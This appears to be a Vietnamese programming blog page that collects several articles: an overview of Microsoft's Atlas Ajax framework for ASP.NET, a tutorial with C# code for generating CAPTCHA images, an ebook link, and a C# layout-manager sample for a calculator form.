Sau khi được Jesse James Garret “khai sinh” với bài viết nổi tiếng “Ajax: Giải pháp mới cho ứng dụng web” (“Ajax: A New Approach to Web Applications”, Adaptive Path, tháng 2/2005), Ajax trở nên nổi đình nổi đám trong thế giới web và ngày càng xuất hiện nhiều website “kiểu Ajax” như Google Maps, A9.com và Flickr. (Công nghệ Ajax cho phép tạo nên những ứng dụng web có giao diện phong phú và có thể truy xuất dữ liệu từ server để cập nhật một phần nội dung trang web hiện hành mà không phải nạp lại toàn bộ trang như ở các website truyền thống. Tham khảo bài “Kỹ thuật lập trình Ajax” – TGVT A 12/2005, tr.124)

Microsoft cũng có những ứng dụng web kiểu Ajax như MSN Virtual Earth (http://www.virtualearth.com) và Start.com. Thật ra, Microsoft đã tham gia cuộc chơi Ajax khá sớm. Tất cả các thành phần Ajax – DHTML, JScript và XMLHTTP đã có trong Internet Explorer 5 và Outlook Web Access đã dùng các kỹ thuật này từ năm 1998. Trước khi Ajax trở nên phổ biến, Microsoft đã sử dụng kỹ thuật Script Callbacks có phương thức làm việc tương tự Ajax (nhưng tính năng hạn chế hơn) trong quá trình phát triển ASP.NET 2.0.

Nắm bắt xu thế Ajax, tại PDC 2005 (Professional Developer Conference – hội thảo thường niên dành cho các nhà phát triển chuyên nghiệp) Microsoft đã công bố dự án Atlas đầy tham vọng, hứa hẹn cung cấp một nền tảng toàn diện hơn và đơn giản hoá việc phát triển ứng dụng web kiểu Ajax.

MỤC TIÊU

Mục tiêu đầu tiên của Atlas nhằm hỗ trợ phát triển phía máy khách (client), cung cấp các tính năng:

• Thư viện API hướng đối tượng bổ sung cho JavaScript.

• Tương thích trình duyệt tự động (hỗ trợ ứng dụng chạy với nhiều trình duyệt).

• Thư viện API và các thành phần hỗ trợ tính năng giao diện người dùng (UI) phong phú.

• Phát triển client kiểu khai báo (XML script) nhằm đơn giản hoá mã lệnh chương trình.

Mục tiêu thứ hai của Atlas nhằm kết hợp việc phát triển phía client với việc phát triển phía server. Thay vì chú trọng toàn bộ chương trình phía client hoặc phía server, Atlas cung cấp hỗ trợ cho cả hai, cho phép xử lý tác vụ ở nơi có ý nghĩa nhất. Phía máy chủ (server), ASP.NET có các tính năng sau phục vụ cho ứng dụng Atlas:

• Dịch vụ web có khả năng kết hợp với ứng dụng Atlas.

• Các điều khiển (web server control) sinh mã client cần thiết cho ứng dụng Atlas.

KIẾN TRÚC

Ở dạng đơn giản nhất, ứng dụng web sử dụng thư viện script của Atlas phía client gọi một dịch vụ hay ứng dụng trên máy chủ web. Nhưng với ứng dụng web phức tạp hơn, bạn sẽ phải cần đến thành phần phía server của Atlas. Không đơn thuần là thư viện Ajax bổ sung cho ASP.NET, Atlas được thiết kế để trở thành nền tảng phát triển hoàn chỉnh từ client, server đến truyền thông giữa client và server. Ngoài ra, Atlas còn cung cấp nền tảng ứng dụng – cho phép nhà phát triển “lắp ráp” các thành phần có sẵn để tạo ứng dụng.

Thành phần client

Ở phía client, Atlas cung cấp Client Script Framework có thể xem là mở rộng của JavaScript, hỗ trợ phát triển hướng đối tượng, tương thích đa trình duyệt, giao tiếp với dịch vụ web và các tính năng giao diện người dùng phong phú. Microsoft hứa hẹn Atlas Client Script Framework sẽ làm việc với tất cả trình duyệt và với web server bất kỳ. Nó không yêu cầu bất kỳ cài đặt nào phía client.

Thư viện script phía client của Atlas là tập các file JavaScript (.js), gồm các thành phần sau:

• Nhân (Script Core): bổ sung đặc tính hướng đối tượng cho JavaScript (như lớp, interface, kế thừa, xử lý sự kiện, kiểu dữ liệu…). Đây là có thể xem là .NET CLR thu nhỏ ở phía client.

• Thư viện lớp cơ bản (Base Class Library): cung cấp các lớp và cấu trúc cơ bản được dùng trong phát triển .NET Framework (như StringBuilder, Debug, Event…); cung cấp thư viện API xử lý mã client dạng khai báo (XML). Lớp này còn cung cấp hỗ trợ XMLHTTP với WebRequest và WebResponse, cho phép gọi WebMethod ở các file .asmx và .aspx hay dịch vụ web bất kỳ.

• Lớp mô hình thành phần và khung giao diện (Component Model và UI Framework): định nghĩa các thành phần, cơ chế liên kết các thành phần với nhau và các phương thức thực thi. Phần UI Framework xác định các kiểu thành phần giao diện cùng với hành vi (như kéo-thả).

• Các điều khiển và thành phần (Controls & Components): tập các thành phần xây dựng sẵn và các điều khiển dùng cho phát triển phía client như Timer (bộ định thời), Counter (bộ đếm), các điều khiển form thông thường, điều khiển gắn với dữ liệu (ListView) hay điều khiển bản đồ (dựa trên Virtual Earth).

• Lớp tương thích trình duyệt (Browser Compatibility): xử lý tương thích với các trình duyệt (hiện tại, Atlas có thể chạy trên IE, Safari và Firefox).

Thành phần server

Thành phần server của Atlas được xây dựng trên ASP.NET 2.0, cơ bản gồm các dịch vụ web ASP.NET và các điều khiển server. Các thành phần server này làm việc kết hợp với thư viện client của Atlas.

• Điều khiển server (Atlas Server Controls): thực hiện sinh mã client (mã lệnh JavaScript và mã khai báo XML) có những đặc tính Atlas. Các điều khiển server của Atlas tương tự như các điều khiển server của ASP.NET, có ích cho người có kinh nghiệm phát triển phía server. Ngoài các điều khiển thông thường như nút lệnh, ô text, ô chọn, liên kết… còn có những điều khiển Atlas đặc biệt để xử lý những hành vi ở client như rê và nhấn chuột… Tất cả những điều khiển này sẽ được tích hợp vào Visual Studio để cho phép làm việc ở màn hình thiết kế giống như các điều khiển server của ASP.NET.

• Cầu nối dịch vụ web (Web Services Bridge): cho phép mã client liên lạc (2 chiều: gửi và nhận dữ liệu) với dịch vụ web kiểu .asmx của ASP.NET (cũng như WebMethod được định nghĩa trên trang .aspx) và .svc của Indigo (công nghệ SOA mới nhất dự kiến ra mắt cùng với Windows Longhorn trong năm 2006) hay dịch vụ web bất kỳ.

• Cầu nối dịch vụ ứng dụng (Application Services Bridge): sử dụng Web Services Bridge để cung cấp những những dịch vụ ứng dụng ASP.NET như xác thực hay truy cập và cập nhật dữ liệu.

Thành phần client và server và mã khai báo

Mã khai báo là đặc tính thú vị của Atlas. Điều khiển server tạo ra mã khai báo và gửi đến client trong định dạng XML. Atlas Client Framework sẽ phân tích khai báo này để sinh mã lệnh (thể hiện và hành vi của trang) ngay tại trình duyệt (client) lúc thực thi. Phương thức này nhằm tránh việc tạo hàng đống mã lệnh JavaScript rồi nhúng vào trang trước khi gửi đi từ server. Bằng cách thực hiện việc này ở phía client, kích thước trang có thể giữ khá nhỏ và người phát triển không cần phải bận tâm đến những đặc trưng của từng trình duyệt ở client.

Microsoft dường như chú trọng đến kiểu lập trình khai báo này, tuy nhiên bạn vẫn có thể thực hiện kiểu mã lệnh JavaScript trực tiếp, nhưng lưu ý những tính năng hướng đối tượng hạn chế của JavaScript.

HIỆN THỰC

Atlas vẫn còn trong quá trình phát triển. Microsoft dự kiến sẽ ra mắt Atlas trong năm 2006 này như là thành phần bổ sung cho ASP.NET 2.0 và nó sẽ được tích hợp với Visual Studio 2005.

Tuy nhiên, ngay từ bây giờ bạn đã có thể làm quen với Atlas. Microsoft hiện đã có cung cấp file ASPNETAtlas.vsi để cài đặt dự án Atlas mẫu (Atlas Web Site Template, http://msdn.microsoft.com/asp.net/info/future/atlastemplate/) trên Visual Studio 2005 (http://msdn.microsoft.com/vstudio/) hay Visual Web Developer Express (http://msdn.microsoft.com/vstudio/express/vwd/). Dự án này có đủ mọi thứ cần thiết cho dự án web kiểu Atlas, bao gồm thư viện Atlas.

Hiện cũng đã có một số ứng dụng Atlas mẫu, bạn có thể tham khảo ở webblog của Nikhil Kothari (http://www.nikhilk.net) – kiến trúc sư phần mềm của Microsoft, người đã thuyết trình về Atlas tại PDC 2005. Bạn cũng có thể dễ dàng tìm thấy nhiều mẫu ứng dụng Atlas khác trên Internet.

Ngoài ra, hiện cũng có những giải pháp khác cho phép phát triển ứng dụng kiểu Ajax với ASP.NET 1.0 hay 2.0 như My Ajax.Net của Jason Diamon (http://jason.diamond.name/weblog/category/my-ajax-dot-net/) và Ajax.NET của Michael Schwarz (http://ajax.schwarz-interactive.de/csharpsample/).

CLIENT HAY SERVER??

Một trong những điểm mấu chốt của ứng dụng kiểu Ajax đó là giảm thiểu việc truyền thông giữa client và server. Vấn đề cần cân nhắc là gửi-nhận thông tin gì và tác vụ nào xử lý ở đâu? Việc này liên quan đến mô hình phát triển đặt trọng tâm phía server hay client.
Trong mô hình phát triển đặt trọng tâm phía client, ban đầu server gửi đến client thông tin khai báo “cách trình bày” cùng “cách thức ứng xử” của giao diện người dùng. Khai báo giao diện này thực thi ở client để xử lý hành vi tương tác của người dùng, gửi dữ liệu đến server và nhận dữ liệu (không phải mã HTML) đáp trả, và dùng dữ liệu này để sinh thể hiện và nội dung. Server đưa các tài nguyên khác đến giao diện người dùng thông qua các dịch vụ.
Mô hình này cho phép thực hiện hiệu quả các tình huống từ tính toán đến dữ liệu động ở client. Mô hình này cũng cho phép xử lý tức thời những hành vi của người dùng và có khả năng thực hiện những hiệu ứng thị giác như kéo-thả. Cái giá của giải pháp này gồm công sức viết mã lệnh client không nhỏ và việc chuyển luận lý giao diện từ server sang client dẫn đến yêu cầu xây dựng và học sử dụng các công cụ mới, mô hình thiết kế mới…
Trong mô hình phát triển đặt trọng tâm phía server, server sẽ gửi mã HTML đến client thay vì dữ liệu thuần tuý. Việc xử lý phía client đơn giản hơn nhiều, chủ yếu chịu trách nhiệm gửi yêu cầu rồi nhận mã HTML đáp trả và đặt vào đúng chỗ trong trang. Hầu hết việc xử lý tương tác và giao diện đều nằm ở server.
Trong khi một số người thích “đường lối” mới, nhưng một số người khác lại thích mô hình phát triển phía server quen thuộc. Có những tính năng bạn vẫn có thể thực hiện theo mô hình phát triển truyền thống, nhưng những tính năng như tương tác giao diện người dùng phải cần đến nền tảng phát triển kiểu Atlas – cho phép cân đối giữa mô hình client phong phú với mô hình phía server hiện hữu.

Theo pcworld.com.vn

Tham khảo:
http://atlas.asp.net/
http://www.nikhilk.net/

CAPTCHA Image

Một CAPTCHA (ˈkæptʃə, đọc giống như “capture”) là một loại kiểm thử dạng hỏi đáp được dùng trong máy tính để xác định xem người dùng có phải là con người hay không. “CAPTCHA” là một dạng sắp đặt chữ đầu của “Completely Automated…

Một CAPTCHA (ˈkæptʃə, đọc giống như “capture”) là một loại kiểm thử dạng hỏi đáp được dùng trong máy tính để xác định xem người dùng có phải là con người hay không. “CAPTCHA” là một dạng sắp đặt chữ đầu của “Completely Automated Public Turing test to tell Computers and Humans Apart” (Phép thử Turing công cộng hoàn toàn tự động để phân biệt máy tính với người), được trường Đại học Carnegie Mellon giữ thương hiệu. Đây là một quá trình một máy tính (máy chủ) yêu cầu một người dùng hoàn tất một kiểm tra đơn giản mà máy tính có thể dễ dàng tạo ra và đánh giá, nhưng không thể tự giải nó được. Vì máy tính không thể giải quyết CAPTCHA, bất kỳ người dùng nào nhập vào lời giải đúng sẽ được xem là con người.

Bạn có thể bắt gặp những việc kiểm tra này khi đăng kí một email trực tuyến hoặc một tài khoản diễn đàn. Biểu mẫu đăng kí có thể có một ảnh chứa dòng chữ ngoằn nghèo như bạn thấy ở trên đây, và nó yêu cầu bạn phải gõ đúng vào ô nhập xác nhận.

Ý tưởng của việc làm này là nhằm ngăn ngừa các spammer sử dụng các web bot để tự động post dữ liệu vào form để tạo các tài khoản email (cho mục đích gửi spam). hoặc để đưa các feedback comment hay các bài viết mang mục đích spam. Dòng văn bản bên trong ảnh thường thường là nghuệch ngoạc để ngăn việc sử dụng các phần mềm OCR (chương trình đọc kí tự quang học) để hủy bỏ việc xử lý này. Hotmail, PayPal, Yahoo và nhiều các site đều sử dụng kỹ thuật này.

Bài viết này sẽ chỉ cho các bạn cách tạo những hình ảnh này và vận dụng nó vào trong trang web ASPX.

Cơ sở lý thuyết:

Khi bạn sử dụng kỹ thuật này vào trong trang web của mình thì hãy cân nhắc xem những đối tượng trong trang web của bạn có phù hợp với những người thị giác kém hoặc mù không. Điều này có thể gây ảnh hưởng đến khả năng sử dụng việc đưa CAPTCHA của bạn. PayPal cố gắng đã giải quyết vấn đề này bằng cách đưa thêm vào một link trỏ đên đoạn audio để đánh vần các dòng chữ trong ảnh đó.

Đoạn code ở đây chỉ sinh ra một hình ảnh. Nhưng nếu bạn có code để sinh ra một file audio thì bạn cũng có thể ghép lại vào một cách dễ dàng.

Viết mã:

Bạn tạo một ứng dụng web và thêm các file sau:
– CaptchaImage.cs –  đối tượng này sẽ tạo ra các hình ảnh.
– Default.aspx, Default.aspx.cs – a sample web form.
– JpegImage.aspx, JpegImage.aspx.cs – trang web xuất ra file ảnh JPEG.

Chúng ta hãy xem xét mỗi thành phần và mục đích của nó:

CaptchaImage.cs

Đối tượng này tạo ra một hình ảnh với các tham số cho đoạn text hiển thị như kích thước(tùy chọn), font chữ. Phần mã quan trọng nhất trong đối tượng này là phương thức GenerateImage() sẽ chỉ ra dưới đây, nó sẽ tạo ra một ảnh dạng bitmap với độ rộng và chiều dài được chỉ ra. Phương thức này được gọi ra từ hàm khởi tạo CaptchaImage, để ảnh được sẵn sàng ngay khi bạn tạo ra một instance của đối tượng.

Để tạo ảnh, đầu tiên chúng ta fill cho background bằng cách chải cho nó thật tối (ảnh xuất hiện càng “bẩn” thì chương trình OCR càng khó đọc được nó).

Để tạo ra đoạn text vừa vặn trong ảnh, chúng ta bắt đầu với kích thước font ban đầu dựa trên kích thước chiều cao ảnh và sử dụng phương thức Graphics.MeasureString() để tìm ra được kích thước phù hợp để vẽ đoạn text. Nếu như đoạn text vượt quá các kích thước của ảnh thì chúng ta phải giảm font chữ xuống và thử đi thử lại cho đến khi phù hợp với kích thước có thể nhận ra được.

Code
// ====================================================================
// Creates the bitmap image.
// ====================================================================
private void GenerateImage()
{
// Create a new 32-bit bitmap image.
Bitmap bitmap = new Bitmap(
this.width,
this.height,
PixelFormat.Format32bppArgb);
// Create a graphics object for drawing.
Graphics g = Graphics.FromImage(bitmap);
g.SmoothingMode = SmoothingMode.AntiAlias;
Rectangle rect = new Rectangle(0, 0, this.width, this.height);
// Fill in the background.
HatchBrush hatchBrush = new HatchBrush(
HatchStyle.SmallConfetti,
Color.LightGray,
Color.White);
g.FillRectangle(hatchBrush, rect);
// Set up the text font.
SizeF size;
float fontSize = rect.Height + 1;
Font font;
// Adjust the font size until the text fits within the image.
do
{
fontSize–;
font = new Font(
this.familyName,
fontSize,
FontStyle.Bold);
size = g.MeasureString(this.text, font);
} while (size.Width > rect.Width);
// Set up the text format.
StringFormat format = new StringFormat();
format.Alignment = StringAlignment.Center;
format.LineAlignment = StringAlignment.Center;
// Create a path using the text and warp it randomly.
GraphicsPath path = new GraphicsPath();
path.AddString(
this.text,
font.FontFamily,
(int) font.Style,
font.Size, rect,
format);
float v = 4F;
PointF[] points =
{
new PointF(
this.random.Next(rect.Width) / v,
this.random.Next(rect.Height) / v),
new PointF(
rect.Width – this.random.Next(rect.Width) / v,
this.random.Next(rect.Height) / v),
new PointF(
this.random.Next(rect.Width) / v,
rect.Height – this.random.Next(rect.Height) / v),
new PointF(
rect.Width – this.random.Next(rect.Width) / v,
rect.Height – this.random.Next(rect.Height) / v)
};
Matrix matrix = new Matrix();
matrix.Translate(0F, 0F);
path.Warp(points, rect, matrix, WarpMode.Perspective, 0F);
// Draw the text.
hatchBrush = new HatchBrush(
HatchStyle.LargeConfetti,
Color.LightGray,
Color.DarkGray);
g.FillPath(hatchBrush, path);
// Add some random noise.
int m = Math.Max(rect.Width, rect.Height);
for (int i = 0; i < (int) (rect.Width * rect.Height / 30F); i++)
{
int x = this.random.Next(rect.Width);
int y = this.random.Next(rect.Height);
int w = this.random.Next(m / 50);
int h = this.random.Next(m / 50);
g.FillEllipse(hatchBrush, x, y, w, h);
}
// Clean up.
font.Dispose();
hatchBrush.Dispose();
g.Dispose();
// Set the image.
this.image = bitmap;
}
Khi font được thiết lập, chúng ta định nghĩa phương thức GraphicsPath() để chuyển đổi đoạn text sang tập các đường thẳng và các đường cong. Đoạn text này có thể bị méo mó đi bằng cách dùng phương thức GraphicsPath.Warp() với một vài giá trị phát sinh ngẫu nhiên. Hiệu ứng giống như việc giữ tấm bìa cứng đánh dấu bởi các góc đối diện và làm no hơi bẻ xoắn đi một chút. Đường kẻ được vẽ ra trên tấm ảnh, rồi sử dụng bút chải cho nó xuất hiện “bẩn” đi chút.Để hoàn tất việc méo mó, vấy bẩn lên ảnh đó một số điểm ngẫu nhiên. Bạn có thể đã xem qua một số các hiệu ứng để cản trở các OCR, nhưng hãy nhớ rằng nên để nó có thể nhìn được, và một số người kém thị giác nữa.

Default.aspx.

Đây là một trang web mẫu đơn giản chỉ chứa một số các phần tử cơ bản, cụ thể là một thẻ <IMG> cho ảnh hiển thị, một textbox và một nút Submit.

<form id=”Default” method=”post” runat=”server”>       <img src=”JpegImage.aspx”><br>       <p>         <strong>Enter the code shown above:</strong><br>         <asp:TextBox id=”CodeNumberTextBox” runat=”server”></asp:TextBox>         <asp:Button id=”SubmitButton” runat=”server” Text=”Submit”>         </asp:Button><br>       </p>       <p>         <em class=”notice”>           (Note: If you cannot read the numbers in the above<br>           image, reload the page to generate a new one.)</em>       </p>       <p><asp:Label id=”MessageLabel” runat=”server”></asp:Label></p>     </form>

Để ý thuộc tính src của ảnh chỉ đến trang JpegImage.aspx.

Phần code cho trang Default.aspx đơn giản chỉ là việc sinh ra một chuỗi ngẫu nhiên cho ảnh và xác nhận tính hợp lệ của đoạn text này khi người dùng nhập vào ô text và nhấn vào nút Submit form. Khóa để lưu chuỗi text này là một đối tượng Session, bởi vì chúng ta còn phải truy cập đến trang JpegImage.aspx nữa.

private void Page_Load(object sender, System.EventArgs e)     {       if (!this.IsPostBack)         // Create a random code and store it in the Session object.         this.Session[“CaptchaImageText”] = GenerateRandomCode();       else       {         // On a postback, check the user input.         if (this.CodeNumberTextBox.Text ==           this.Session[“CaptchaImageText”].ToString())         {           // Display an informational message.           this.MessageLabel.CssClass = “info”;           this.MessageLabel.Text = “Correct!”;         }         else         {           // Display an error message.           this.MessageLabel.CssClass = “error”;           this.MessageLabel.Text = “ERROR: Incorrect, try again.”;           // Clear the input and create a new random code.           this.CodeNumberTextBox.Text = “”;           this.Session[“CaptchaImageText”] = GenerateRandomCode();         }       }     }

JpegImage.aspx

Trong trang này, chúng ta không cần đến thẻ HTML nào cả (những gì cần làm ở đây chỉ là đoạn mã được sinh ra bởi Visual Studio khi file được tạo ra). Thay vì viết mã HTML, đoạn mã sẽ sinh ra một ảnh JPEG.

Trong phần mã , chúng ta đầu tiên tạo ra đối tượng Captcha, sử dụng ngay đoạn text lấy về từ đối tượng Session và tạo ra ảnh bitmap cho chúng ta.

private void Page_Load(object sender, System.EventArgs e)     {       // Create a CAPTCHA image using the text stored in the Session object.       CaptchaImage ci = new CaptchaImage(         this.Session[“CaptchaImageText”].ToString(),         200, 50, “Century Schoolbook”);       // Change the response headers to output a JPEG image.       this.Response.Clear();       this.Response.ContentType = “image/jpeg”;       // Write the image to the response stream in JPEG format.       ci.Image.Save(this.Response.OutputStream, ImageFormat.Jpeg);       // Dispose of the CAPTCHA image object.       ci.Dispose();     }
Tiếp đến chúng ta chỉnh sửa phần header của HTTP response để thiết lập Content-type thành “image/jpeg” để trình duyệt máy người dùng sẽ biết luồng file đưa đến là định dạng JPEG. May mắn là phương thức Save của đối tượng Bitmap làm cho điều này thật đơn giản. Bất kể là định dạng file ảnh được hỗ trợ khác cũng sử dụng cách thiết lập tương ứng trong phần Content-type header này.

Bước cuối cùng là để lấy ra hình ảnh bitmap từ  CaptchaImage.Image và ghi nó vào luồng ra HTTP response theo định dạng JPEG.

Bởi vì lớp CaptchaImage chứa đối tượng Bitmap, và các bitmap vận dụng mã không quản, nên phương thức Dispose được thực hiện. Điều này cho phép các mã nguồn không quản được giải phóng bất cứ khi nào CaptchaImage bị hủy.

[HaiPhong-Aptech]

Ebook C# tiếng Việt

Lần trước có post 1 tài liệu C# bằng tiếng Việt.Big Grin Để làm cho chủ đề về C# này thêm phong phú, với thời gian ít ỏi hiện có, đành post cho cả nhà 1 ebook tiếng Việt khác nữaLaughing Out Loud

Download

Theo blogthuthuat.com

Layout Manager trong C Sharp.

Bất cứ khi nào người lập trình ngồi xuống thiết kế một giao diện, anh ta sẽ phải đối mặt với một số vấn đề liên quan đến việc thiết kế: yêu cầu thẩm mỹ, khả năng mở rộng, có thể chuyển đổi kích thước và dễ chỉnh sửa…
Layout managers sẽ giúp bạn giải quyết những vấn đề đó bằng việc thiết lập những kích cỡ, vị trí của các đối tượng table layout (bố cục bảng). Chèn các thành phần mà layout quản lý, tất cả các layout đều có khả năng mở. Trong lập trình Java, chúng ta đã quá quen với những khái niệm về quản lý Layout. Tuy nhiên các lập trình viên khi chuyển từ các ngôn ngữ lập trình khác sang C Sharp, đều cần phải có thời gian làm quen với chúng. Nếu bạn bắt đầu từ nền tảng Java, bạn nên tìm hiểu sự khác nhau giữa cách quản lý Layout trong Java và sự thực thi chúng trong C Sharp. Nếu bạn vẫn chưa quen với cách quản lý Layout thì hãy bắt đầu tìm hiểu từ cơ bản.

1. Layout Manager là gì?

– Là bất kì cái gì có thể quyết định vị trí và kích cỡ của các đối tượng Bố cục bảng và cũng có thể chính là Bố cục bảng. Chúng có thể được sử dụng trong mọi tình huống, tuy nhiên chủ yếu chúng được dùng trong Giao diện đồ họa người dùng (GUI – Graphical User Interfaces). Những ai đã từng biết lập trình đều có thể nhận biết được sự rắc rối của nó. Những năm gần đây người ta đã phát triển một số công cụ hỗ trợ, hầu hết đều được viết bằng ngôn ngữ C++, làm cho việc thiết kế giao diện trở nên dễ dàng hơn. Nhưng cho dù có những công cụ tinh vi như vậy thì Các GUIs vẫn là một vấn đề phức tạp.

2. Layout Manager giữa Java và C Sharp:

– Có 2 điểm khác biệt giữa Layout Manager trong Java và Thực Thi Layout Manager trong C Sharp.

– Thứ Nhất: trong Java, Layout Manager được loại bỏ hoàn toàn trong khu vực GUIs. Hay nói theo cách khác, những thứ duy nhất mà có thể được quản lý bởi Layout Manager trong Java là các thành phần của chúng (Components). Còn Trong C Sharp, Bất cứ cái gì mà thực thi giao diện Bố cục thì đều có thể được quản lý. Điều này mở thêm những khả năng tương tác thú vị trong khu vực đồ họa, thiết kế bản đồ…

– Sự khác biệt thứ 2 liên quan đến điều đầu tiên: Sự thực thi Layout Managers trong Java không được gắn liền với các đối tượng GUIs nhưng nó lại là khái niệm trừu tượng đối với việc sắp xếp các bố cục bảng, điều này có thế có nhiều Layout Manager cho một khu vực riêng biệt của điều khiển Cha. Bạn có thể khoanh một vùng chữ nhật đặc biệt trong điều khiển Cha và thao tác Layout Manager, đưa các thành phần điều khiển con cho nó. Hơn nữa, với những thao tác chuẩn về Layout Manager mà bạn biết trong Java sẽ mang lại cho bạn những sức mạnh kì lạ trong việc thiết kế giao diện.

3. Thư viện Layout:

– Từ sự thực thi các Layout Manager mà tôi giới thiệu trong bài này, ta thấy thư viện Layout này khá quen với các nhà lập trình Java quen thuộc, và hy vọng sẽ dễ hiểu đối với những người mới bắt đầu. Cơ bản chỉ xung quanh 2 Giao diện: ILayoutable và ILayoutManager mà kế thừa từ ILayoutable. Phần còn lại của thư viện bao gồm sự thực thi của 2 giao diện trên đối với các vấn đề của việc thiết kế giao diện.

+ Control Box: Về cơ bản là những cấu trúc điều khiển Layout và làm việc như lớp điều khiển đóng gói cơ bản.

+ ContainerBox: Được kế thừa từ ControlBox, nhưng nó có thể chèn thêm các ControlBox và sắp xếp chúng.

+ AreaPane: Được kế thừa từ ContainerBox, nhưng hoạt động như một điều khiển cấp độ cao. Nó có một khung hình chữ nhật, trong đó nó quản lý các điều khiển khác nhau mà mới chèn thêm vào.

+ RezizeablePane: được kế thừa từ AreaPane. Điều khác nhau duy nhất là nó có thể thay đổi kích cỡ của các đối tượng con trong điều khiển cha. Nó cũng cung cấp thêm một số Layout mẫu trong thư viện:

BorderLayout: Bao gồm 5 đối tượng Layoutable khác nhau, mỗi đối tượng tương ứng với các hướng Bắc, Nam, Đông, Tây và một đối tượng ở giữa. Tất cả những thành phần về kích cỡ đều được nén theo chiều của các hướng, Bắc và Nam cao bằng chiều thẳng đứng, rộng bằng chiều ngang có thể. Còn Đông và Tây thì ngược lại, có chiều rộng theo chiều ngang và chiều dọc theo chiều thẳng đứng. Đối tượng Layoutable trung tâm chiếm tất cả khoảng trống còn lại.

GridLayout: Gồm một số các dòng, các cột và tạo thành một các lưới(Grid) để người sử dụng có thể chèn các điều khiển vào. Mỗi một thành phần trong Grid được tạo với cùng kích cỡ và được sắp xếp từ trái qua phải theo thứ tự được chèn vào.

FlowLayout: Chèn các điều khiển theo dòng nằm ngang. Mỗi khi dòng đó quá rộng với độ rộng của Vùng chứa (Container), thì nó sẽ bắt đầu một dòng mới. Nó có thể được định dạng theo lề trái, phải và giữa theo vùng chứa.

Zensoft Website – Layout Manager

Ảnh trên là một ví dụ về phát triển GUI sử dụng thư viện Layout. Đoạn mã sau thể hiện việc sắp xếp các điều khiển.

public class CalculatorForm : Form
{
public CalculatorForm()
{
Size = new Size(200, 250);
Text = “Calculator”;

myCalculator = new Calculator();
//Đây sẽ là khung có cấp cao nhất mà tất cả các điều khiển khác sẽ được chèn vào.
//Và cũng có thể thay đổi kích cỡ theo.
AreaPane controlPane = new ResizeablePane(this, ClientRectangle, new BorderLayout());

myTextBox = new TextBox();
myTextBox.Text = “0”;
// Chú ý rằng: Với các điều khiển được chèn vào khung, các ContainerBoxes sẽ.
//Chèn tất cả các điều khiển mà gắn với chúng một cách tự động.
controlPane.Add(myTextBox, BorderLayout.Direction.North);

Panel p = new Panel();
//Mỗi khi các buttonPane có các điều khiển khách thêm vào nó.
//Nó sẽ tự đóng gói trong một ContainerBox.
ContainerBox buttonPane = new ContainerBox(p);
addButtons(buttonPane);

Button clearB = new Button();
clearB.Text = “Clear”;
clearB.Click += new EventHandler(clear);
controlPane.Add(clearB, BorderLayout.Direction.South);

controlPane.Add(buttonPane, BorderLayout.Direction.Center);
}

private void addButtons(ContainerBox pane)
{
pane.layoutManager = new GridLayout(4, 3);
for(int i=1; i<10; i++){
Button b = getDigitButton(i);
pane.Add(b);
}
Button zero = getDigitButton(0);
Button plus = getButton(“+”);
Button minus = getButton(“-“);
plus.Click += new EventHandler(action);
minus.Click += new EventHandler(action);
pane.Add(plus);
pane.Add(zero);
pane.Add(minus);
}
// Những hàm riêng sẽ gọi cac Contructor.
//…
}
Nguồn tin: zensoft.vn